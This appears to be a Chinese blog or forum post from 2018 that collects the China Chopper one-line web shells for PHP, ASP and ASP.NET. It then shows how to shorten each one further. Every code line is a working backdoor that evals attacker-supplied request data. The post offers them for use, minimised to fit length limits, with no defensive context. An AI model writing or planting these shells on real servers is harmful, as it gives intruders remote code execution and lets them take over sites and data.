最短的各类一句话木马

2018-04-09 15:02:57 浏览数 (1)

菜刀readme.txt中附带一3个一句话: PHP:

1

<!--?php @eval($_POST['chopper']);?-->

ASP:

1

&lt;%eval request("chopper")%&gt;

ASP.NET:

1

&lt;%@ Page Language="Jscript"%&gt;&lt;%eval(Request.Item["chopper"],"unsafe");%&gt;

抛弃密码的长度不算,其实这3个一句话均不是最短的。 如: PHP我们可以这样写:

1

<!--?php @eval($_POST['0']);?-->

原版

1

<!--?=eval($_POST[0]);? &gt;&lt;br ?-->

缩小版 ASP我们可以这样写:

1

&lt;%eval request("0")%&gt;

原版

1

&lt;%eval request(0)%&gt;

缩小版 ASP.NET可以这样写:

1

&lt;%@ Page Language="Jscript"%&gt;&lt;%eval(Request.Item["z"],"unsafe");%&gt;

原版

1

&lt;%@Page Language=JS%&gt;&lt;%eval(Request.Item(0),"unsafe");%&gt;

缩小版 当然你也可以把它写成这样(很显然体积上不占优势):

1

&lt;%@Page Language="JAVASCRIPT"%&gt;&lt;%eval(Request.Item(0),"unsafe");%&gt;

已经用了许久的东西,直接回复原贴感觉很多人看不到,还是单独发出来吧。 和原求助贴中的最长字符数对比:

1

&lt;%@ Page Language="Jscript"%&gt;&lt;%eval(Request.Item["1"],"unsafe

1

&lt;%@Page Language=JS%&gt;&lt;%eval(Request.Item(0),"unsafe");%&gt;

显然达到目的了。

0 人点赞